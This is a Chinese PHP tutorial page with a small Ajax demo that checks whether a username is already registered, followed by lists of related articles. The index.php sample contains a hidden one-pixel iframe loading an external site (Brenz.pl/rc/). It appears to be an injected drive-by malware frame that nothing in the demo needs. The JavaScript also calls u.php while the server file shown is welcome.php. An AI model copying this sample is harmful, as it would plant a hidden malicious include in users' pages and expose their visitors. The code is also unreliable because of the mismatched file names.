PHP与Ajax相结合实现登录验证小Demo


Posted in PHP onMarch 16, 2016

 AJAX即“Asynchronous Javascript And XML”(异步JavaScript和XML),是指一种创建交互式网页应用的网页开发技术。

AJAX = Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)。
AJAX 不是新的编程语言,而是一种使用现有标准的新方法。
AJAX 是与服务器交换数据并更新部分网页的艺术,在不重新加载整个页面的情况下。

设计一个用户注册页面,当用户输入注册名的时候,检测用户名是否已存在,如果存在,给予提示

我们先打index.php

<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=gb2312" /> 
<script type="text/JavaScript"> 
function Ajax(){ 
var xmlHttpReq=null;//初始对象xmlHttpReq 
if(window.ActiveXObject){ 
xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP"); 
}else if(window.XMLHttpRequest){ 
xmlHttpReq=new XMLHttpRequest(); 
} 
var userId=document.getElementById("userId").value;//value取得id为userId的值 
url="u.php?userId="+userId;//路径 
if(xmlHttpReq!=null){//若对象实例化创建成功 
xmlHttpReq.open("GET",url,true);//open()打开请求 
xmlHttpReq.onreadystatechange=RequestCallBack;//设置回调函数RequestCallBack() 
xmlHttpReq.send(null);//请求不包括正文 
} 
function RequestCallBack(){//回调函数 
if(xmlHttpReq.readystate==4){ 
if(xmlHttpReq.status==200){//请求成功 
document.getElementById("get").innerHTML=xmlHttpReq.responseText;//将得到的信息赋给id属性为get的div 
} 
} 
} 
} 
</script> 
</head> 
<body> 
<font> 
注册 
</font><br> 
<form> 
用户名:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="检测"onclick="Ajax()"> 
<div id="get"> 
</div> 
</form> 
<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> 
</body> 
</html>

welcome.php

<?php 
header("content-type:text/html;charset=gb2312"); 
//sleep(1); 
$userId=$_GET["userId"]; 
if($userId=="管理员"){ 
echo "用户名已存在!"; 
}else{ 
echo "该用户名可以注册"; 
} 
?>

关于PHP与Ajax相结合实现登录验证小Demo的相关知识就给大家介绍到这里,希望对大家有所帮助!

PHP 相关文章推荐
ionCube 一款类似zend的PHP加密/解密工具
Jul 25 PHP
php include加载文件两种方式效率比较
Aug 08 PHP
php中经典方法实现判断多维数组是否为空
Oct 23 PHP
使用php实现下载生成某链接快捷方式的解决方法
May 07 PHP
两级联动select刷新后其值保持不变的实现方法
Jan 27 PHP
php连接与操作PostgreSQL数据库的方法
Dec 25 PHP
PHP中4种常用的抓取网络数据方法
Jun 04 PHP
Symfony2框架学习笔记之HTTP Cache用法详解
Mar 18 PHP
Yii视图CGridView列表用法实例分析
Jul 12 PHP
适合PHP初学者阅读的4本经典书籍
Sep 23 PHP
详解提高使用Java反射的效率方法
Apr 29 PHP
PHP代码加密的方法总结
Mar 13 PHP
Laravel实现构造函数自动依赖注入的方法
Mar 16 #PHP
PHP 二维数组和三维数组的过滤
Mar 16 #PHP
详解php中反射的应用
Mar 15 #PHP
php实现图片上传并进行替换操作
Mar 15 #PHP
php模板引擎技术简单实现
Mar 15 #PHP
9个比较实用的php代码片段
Mar 15 #PHP
Laravel使用Caching缓存数据减轻数据库查询压力的方法
Mar 15 #PHP
You might like
PHP中echo,print_r与var_dump区别分析
2014/09/29 PHP
YII Framework框架教程之安全方案详解
2016/03/14 PHP
php 7新特性之类型申明详解
2017/06/06 PHP
php设计模式之建造器模式分析【星际争霸游戏案例】
2020/01/23 PHP
JavaScript在IE中“意外地调用了方法或属性访问”
2008/11/19 Javascript
javaScript 关闭浏览器 (不弹出提示框)
2010/01/31 Javascript
基于jsTree的无限级树JSON数据的转换代码
2010/07/27 Javascript
IE6不能修改NAME问题的解决方法
2010/09/03 Javascript
jquery DIV撑大让滚动条滚到最底部代码
2013/06/06 Javascript
js保留两位小数使用toFixed实现
2013/07/29 Javascript
bootstrap table 服务器端分页例子分享
2015/02/10 Javascript
jQuery性能优化技巧分析
2015/02/20 Javascript
JS+CSS实现大气清新的滑动菜单效果代码
2015/10/22 Javascript
Bootstrap每天必学之工具提示(Tooltip)插件
2016/04/26 Javascript
JavaScript仿flash遮罩动画效果
2016/06/15 Javascript
Es6 写的文件import 起来解决方案详解
2016/12/13 Javascript
微信小程序 数组中的push与concat的区别
2017/01/05 Javascript
AngularJS使用ocLazyLoad实现js延迟加载
2017/07/05 Javascript
JQuery获取元素尺寸、位置及页面滚动事件应用示例
2019/05/14 jQuery
JavaScript仿京东秒杀倒计时
2020/03/17 Javascript
关于uniApp editor微信滑动问题
2021/01/15 Javascript
浅析Python中的赋值和深浅拷贝
2017/08/15 Python
Python实现基于C/S架构的聊天室功能详解
2018/07/07 Python
python字典的setdefault的巧妙用法
2019/08/07 Python
Python urlopen()和urlretrieve()用法解析
2020/01/07 Python
Python实现发票自动校核微信机器人的方法
2020/05/22 Python
python爬虫破解字体加密案例详解
2021/03/02 Python
HTML5 Canvas 旋转风车绘制
2017/08/18 HTML / CSS
北美最大的参茸药食商城:德成行
2020/12/06 全球购物
软件测试工程师面试问题精选
2016/10/28 面试题
战友聚会邀请函
2014/01/18 职场文书
教师党员公开承诺书
2014/03/25 职场文书
先进班集体申报材料
2014/12/26 职场文书
副校长2015年教育教学工作总结
2015/07/27 职场文书
大学生安全教育主题班会
2015/08/12 职场文书
详解nginx进程锁的实现
2021/06/14 Servers